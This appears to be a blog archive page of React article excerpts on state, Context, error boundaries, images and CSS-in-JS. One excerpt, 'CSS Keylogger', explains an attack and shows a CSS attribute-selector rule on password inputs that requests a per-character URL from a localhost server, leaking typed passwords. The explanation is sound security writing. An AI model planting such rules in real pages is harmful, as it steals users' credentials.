CSS is fun and cool and I like it.
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Building a Complex UI Animation in React, Simply

Let’s use React, styled-components, and react-flip-toolkit to make our own version of the animated navigation menu on the Stripe homepage. It's an impressive menu with some slick animation effects and the combination of these three tools can make it relatively easy to recreate.… Read article

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Handling Errors with Error Boundary

Thinking and building in React involves approaching application design in chunks, or components. Each part of your application that performs an action can and should be treated as a component. In fact, React is component-based and, as Tomas Eglinkas recently wrote, we should leverage that concept and err on the side of splitting any large chunking into smaller components.

Splitting inevitably introduces component hierarchies, which are good because they bloated components and architecture. However, things can begin to … Read article

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An Almost Ideal React Image Component

Yes, this is a React component, but regardless if you care about that part or not, the "ideal image component" part could be of interest. There is a lot to consider with how we put images on web pages these days. This deals with:

  • Placeholder space (and then flexible responsive styles after loading)
  • Low-quality placeholder images
  • Responsive images syntax (srcset)
  • Image formats (e.g. using WebP when you can)
  • Click-to-load on bad network connections
  • Better UX for loading errors,
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Chris Coyier
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A Quick Roundup of Recent React Chatter

Like many, many others, I'm in the pool of leveling up my JavaScript skills and learning how to put React to use. That's why Brad Frost resonated with me when he posted My Struggle to Learn React."Read article

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Digging Into React Context

You may have wondered lately what all the buzz is about Context and what it might mean for you and your React sites. Before Context, when the management of state gets complicated beyond the functionality of setState, you likely had to make use of a third party library. Thanks to recent updates by the awesome React team, we now have Context which might help with some state management issues.… Read article

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Managing State in React With Unstated

As your application becomes more complex, the management of state can become tedious. A component's state is meant to be self-contained, which makes sharing state across multiple components a headache. Redux is usually the go-to library to manage state in React, however, depending on how complex your application is, you might not need Redux.

Unstated is an alternative that provides you with the functionality to manage state across multiple components with a Container class and Provider and Subscribe components. … Read article

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How React Reconciliation Works

React is fast! Some of that speed comes from updating only the parts of the DOM that need it. Less for you to worry about and a speed gain to boot. As long as you understand the workings of setState(), you should be good to go. However, it’s also important to familiarize yourself with how this amazing library updates the DOM of your application. Knowing this will be instrumental in your work as a React developer.… Read article

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What’s wrong with CSS-in-JS?

Brad Frost thinks it's:

  1. Lack of portability
  2. Context Switching
  3. Flushing best practices down the toilet

In the spirit of good-ol-fashioned blog-and-response, here's:

I'd like to point out that "CSS-in-JS" is an umbrella term, and that there are lots of takes on actual implementations of this. It's possible to like one approach and not another.

My guess is we'll end up with a split down the middle as a best practice someday.

When we write

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Chris Coyier
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Understanding React `setState`

React components can, and often do, have state. State can be anything, but think of things like whether a user is logged in or not and displaying the correct username based on which account is active. Or an array of blog posts. Or if a modal is open or not and which tab within it is active.

React components with state render UI based on that state. When the state of components changes, so does the component UI. … Read article

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What are Higher-Order Components in React?

If you have been in the React ecosystem for a while, there is a possibility that you have heard about Higher Order Components. Let’s look at a simple implementation while also trying to explain the core idea. From here you should get a good idea of how they work and even put them to use.… Read article

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How to Create a Component Library From SVG Illustrations

I’ve recently published my first ever open source npm package! It makes SVG illustrations from unDraw into customizable React components.… Read article

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React’s New Context API Explained

In this video tutorial, Wes Bos looks into the new context API and the problem that it’s trying to solve:

React 16.3 has a new Context API which makes accessing data and functions anywhere in your application a snap. If you ever find yourself passing data down via props 4-5 levels deep, context might be what you are looking for.

Don’t forget about Neal Fennimore’s recent post on putting things into context. It covers the concept in great detail … Read article

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Robin Rendle
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React Code Style Guide

I've been having the time of my life with React lately. But on my journey, I’ve had a hard time finding good code style guidelines to keep the mix of JSX and JS clean and readable. I've been coming up with my own style guides that I'd love to share. Maybe these will be useful to you and, of course, feel free to share similar guidelines in the comment thread below.… Read article

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Putting Things in Context With React

Context is currently an experimental API for React - but soon to be a first class citizen! There are a lot of reasons it is interesting but perhaps the most is that it allows for parent components to pass data implicitly to their children, no matter how deep the component tree is. In other words, data can be added to a parent component and then any child can tap into it.… Read article

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React State From the Ground Up

As you begin to learn React, you will be faced with understanding what state is. State is hugely important in React, and perhaps a big reason you’ve looked into using React in the first place. Let’s take a stab at understanding what state is and how it works.… Read article

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A Browser-Based, Open Source Tool for Alternative Communication

Have you ever lost your voice? How did you handle that? Perhaps you carried a notebook and pen to scribble notes. Or jotted quick texts on your phone.

Have you ever traveled somewhere that you didn't speak or understand the language everyone around you was speaking? How did you order food, or buy a train ticket? Perhaps you used a translation phrasebook, or Google translate. Perhaps you relied mostly on physical gestures.

All of these solutions are examples of communication methods — tools and strategies — that you may have used before to solve everyday communicative challenges. The preceding examples are temporary solutions to temporary challenges. Your laryngitis cleared up. You returned home, where accomplishing daily tasks in your native tongue is almost effortless. Now imagine that these situational obstacles were somehow permanent.

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React Native: A Better DOM?

Like a lot of people in this Twitter thread, I didn't really understand that React Native was even for building on the web. I thought it was a way to write React to build native mobile apps. Nicolas … Read article

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CSS Keylogger

Scary little attack using essentially a bunch of attribute selectors like this:

input[type="password"][value$="a"] {
  background-image: url("http://localhost:3000/a");
}

At first, I was like wait a minute, you can't select inputs based on what people type in them but only what's set on the attribute itself. Max Chehab shows how it is possible, however, because React uses "controlled components" that do this by default. Not to mention you can apply the typed value to the attribute easily like:

const inp = 
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Sketching in the Browser

Mark Dalgleish details how his team at seek tried to build a library of React components that could then be translated into Sketch documents. Why is that important though? Well, Mark describes the problems that his team faced like this:

...most design systems still have a fundamental flaw. Designers and developers continue to work in entirely different mediums. As a result, without constant, manual effort to keep them in sync, our code and design assets are constantly drifting further and

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